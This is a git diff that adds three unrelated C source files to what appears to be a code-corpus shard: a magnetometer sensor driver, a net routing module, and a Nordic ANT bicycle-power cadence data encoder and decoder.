diff --git a/pool/shard001/C/0026159_mag_micromag_fw.c b/pool/shard001/C/0026159_mag_micromag_fw.c
new file mode 100644
index 0000000000000000000000000000000000000000..f6f6a443871930b72941063b2ae3357473badbd2
--- /dev/null
+++ b/pool/shard001/C/0026159_mag_micromag_fw.c
@@ -0,0 +1,74 @@
+#include "modules/sensors/mag_micromag_fw.h"
+#include "modules/sensors/mag_micromag_fw_hw.h"
+#include "led.h"
+
+#include "mcu_periph/uart.h"
+#include "pprzlink/messages.h"
+#include "subsystems/datalink/downlink.h"
+
+volatile uint8_t micromag_status;
+volatile int16_t micromag_values[MM_NB_AXIS];
+
+
+void micromag_periodic(void)
+{
+
+  static uint8_t cnt = 0;
+
+  if (micromag_status == MM_IDLE) {
+    //    uint8_t * tab = &cnt;
+    //    DOWNLINK_SEND_DEBUG(1,tab);
+    cnt = 0;
+    MmSendReq();
+  } else if (micromag_status ==  MM_GOT_EOC) {
+    MmReadRes();
+  } else if (micromag_status == MM_WAITING_EOC) {
+    cnt++;
+    if (cnt > 50) {cnt = 0; micromag_status = MM_IDLE;}
+  }
+}
+
+void micromag_event(void)
+{
+
+  int32_t mx = micromag_values[0];
+  int32_t my = micromag_values[1];
+  int32_t mz = micromag_values[2];
+
+  if (micromag_status == MM_DATA_AVAILABLE) {
+    DOWNLINK_SEND_IMU_MAG_RAW(DefaultChannel, DefaultDevice,
+                              &mx,
+                              &my,
+                              &mz);
+    micromag_status = MM_IDLE;
+  }
+}
+
+void micromag_init(void)
+{
+
+  micromag_hw_init();
+
+  uint8_t i;
+  for (i = 0; i < MM_NB_AXIS; i++) {
+    micromag_values[i] = 0;
+  }
+  micromag_status = MM_IDLE;
+}
+
+void micromag_reset()
+{
+  micromag_status = MM_IDLE;
+}
+
+void micromag_read()
+{
+  if (micromag_status == MM_IDLE) {
+    MmSendReq();
+  } else if (micromag_status ==  MM_GOT_EOC) {
+    MmReadRes();
+  } else if (micromag_status ==  MM_DATA_AVAILABLE) {
+    micromag_status = MM_IDLE;
+  }
+}
+
diff --git a/pool/shard001/C/0026171_route.c b/pool/shard001/C/0026171_route.c
new file mode 100644
index 0000000000000000000000000000000000000000..6173ed313f41d2ad0331474a12bf6e5cb287b2ad
--- /dev/null
+++ b/pool/shard001/C/0026171_route.c
@@ -0,0 +1,153 @@
+/*
+ ** route.c - calls expander on list or nets.
+ **
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <assert.h>
+
+#include "database.h"
+#include "graph.h"
+#include "expander.h"
+#include "route.h"
+#include "main.h"
+
+Router *new_router(Expander *expander){
+    if(expander == NULL){
+        puts("Error: new_router expander is null.");
+        exit(1);
+    }
+    Router *router;
+    if((router = malloc(sizeof(Router))) == NULL){
+        perror("malloc");
+        exit(1);
+    }
+    router->expander = expander;
+    return router;
+}
+
+void _add_paths_to_net(Net *net, Path **paths, uint32_t num_paths){
+    if(net == NULL){
+        puts("Error: _add_paths_to_net net is null.");
+        exit(1);
+    }
+    if(paths == NULL){
+        printf("Error: _add_paths_to_net paths is null and num_paths is %i.\n", num_paths);
+        exit(1);
+    }
+    if(num_paths == 0){
+        net->paths = NULL;
+        net->num_paths = 0;
+        return;
+    }
+    if((net->paths = calloc(num_paths, sizeof(Path*))) == NULL){
+        perror("calloc");
+        exit(1);
+    }
+    int i;
+    for(i=0; i<num_paths; i++){
+        net->paths[i] = paths[i];
+    }
+    net->num_paths = num_paths;
+    return;
+}
+
+routerStatus route(Net *net, Router *router){
+    if(net == NULL || router == NULL){
+        puts("Error: route net or router is null.");
+        exit(1);
+    }
+    Expander *expander = router->expander;
+    expanderStatus exp_stat;
+
+    Path **paths = NULL;
+    uint32_t num_paths = 0;
+
+    exp_stat = expand(
+        net->src_node,
+        net->dst_nodes,
+        net->num_dst_nodes,
+        &paths,
+        &num_paths,
+        expander);
+    if(exp_stat == EXP_MAXDEPTH){
+        return RTR_MAXDEPTH;
+    }else if(exp_stat == EXP_OK){
+        _add_paths_to_net(net, paths, num_paths);
+        free(paths);
+        return RTR_OK;
+    }
+
+    assert(exp_stat == EXP_ERROR);
+    return RTR_ERROR;
+}
+
+Net *new_net(NetData *data, Node *src_node, Node **dst_nodes, uint32_t num_dst_nodes){
+    if(data == NULL || src_node == NULL || dst_nodes == NULL){
+        puts("Error: new_net data or src_node or dst_nodes is null.");
+        exit(1);
+    }
+    if(num_dst_nodes == 0){
+        printf("Error: new_net net '%s' num_dst_nodes given is zero.\n", data->name);
+        exit(1);
+    }
+    Net *net;
+    if((net = malloc(sizeof(Net))) == NULL){
+        perror("malloc");
+        exit(1);
+    }
+    net->data = data;
+    net->name = strdup(data->name);
+    net->src_node = src_node;
+    if((net->dst_nodes = calloc(num_dst_nodes, sizeof(Node*))) == NULL){
+        perror("malloc");
+        exit(1);
+    }
+    net->num_dst_nodes = num_dst_nodes;
+    int i;
+    for(i=0; i<num_dst_nodes; i++){
+        net->dst_nodes[i] = dst_nodes[i];
+    }
+    net->paths = NULL;
+    net->num_paths = 0;
+    return net;
+}
+
+void free_net(Net *net){
+    free((char *)net->name);
+    free(net->dst_nodes);
+    if(net->paths != NULL)
+        free(net->paths);
+    free(net);
+}
+
+void print_net(Net *net){
+    if(net == NULL){
+        puts("Error: print_net net is null");
+        exit(1);
+    }
+    printf("<net %s - %i - %i>\n", net->name, net->src_node->data->id, net->num_dst_nodes);
+}
+
+bool is_arcnode_in_net(ArcNode *arcnode, Net *net){
+    if(net == NULL){
+        puts("Error: is_arcnode_in_net arcnode or net is null");
+        exit(1);
+    }
+    Path *path;
+    int i;
+    for(i=0; i<net->num_paths; i++){
+        if((path = net->paths[i]) == NULL){
+            puts("Error: net has path that is null.");
+            exit(1);
+        }
+        if(is_arcnode_in_path(arcnode, path) == true)
+            return true;
+    }
+    return false;
+}
+
diff --git a/pool/shard001/C/0026199_ant_bpwr_common_data.c b/pool/shard001/C/0026199_ant_bpwr_common_data.c
new file mode 100644
index 0000000000000000000000000000000000000000..5d3787332ef27d404ed3431f0a2e84bae76f01bb
--- /dev/null
+++ b/pool/shard001/C/0026199_ant_bpwr_common_data.c
@@ -0,0 +1,59 @@
+/* Copyright (c) 2015 Nordic Semiconductor. All Rights Reserved.
+ *
+ * The information contained herein is property of Nordic Semiconductor ASA.
+ * Terms and conditions of usage are described in detail in NORDIC
+ * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT.
+ *
+ * Licensees are granted free, non-transferable use of the information. NO
+ * WARRANTY of ANY KIND is provided. This heading must NOT be removed from
+ * the file.
+ *
+ */
+
+#include "ant_bpwr_common_data.h"
+#include "ant_bpwr_utils.h"
+#include "ant_bpwr_page_logger.h"
+#include "nordic_common.h"
+
+/**@brief BPWR common page data layout structure. */
+typedef struct
+{
+    uint8_t reserved0[2];
+    uint8_t instantaneous_cadence;
+    uint8_t reserved1[4];
+}ant_bpwr_cadence_data_layout_t;
+
+/**@brief Function for tracing common data.
+ *
+ * @param[in]  p_common_data      Pointer to the common data.
+ */
+static void cadence_data_log(ant_bpwr_common_data_t const * p_common_data)
+{
+    if (p_common_data->instantaneous_cadence == 0xFF)
+    {
+        LOG_CADENCE("instantaneous cadence:            -- rpm\n\r");
+    }
+    else
+    {
+        LOG_CADENCE("instantaneous cadence:            %u rpm\n\r",
+                    p_common_data->instantaneous_cadence);
+    }
+}
+
+void ant_bpwr_cadence_encode(uint8_t                     * p_page_buffer,
+                            ant_bpwr_common_data_t const * p_common_data)
+{
+    ant_bpwr_cadence_data_layout_t * p_outcoming_data = (ant_bpwr_cadence_data_layout_t *)p_page_buffer;
+    p_outcoming_data->instantaneous_cadence           = p_common_data->instantaneous_cadence;
+
+    cadence_data_log(p_common_data);
+}
+
+void ant_bpwr_cadence_decode(uint8_t const         * p_page_buffer,
+                            ant_bpwr_common_data_t * p_common_data)
+{
+    ant_bpwr_cadence_data_layout_t const * p_incoming_data = (ant_bpwr_cadence_data_layout_t *)p_page_buffer;
+    p_common_data->instantaneous_cadence                   = p_incoming_data->instantaneous_cadence;
+
+    cadence_data_log(p_common_data);
+}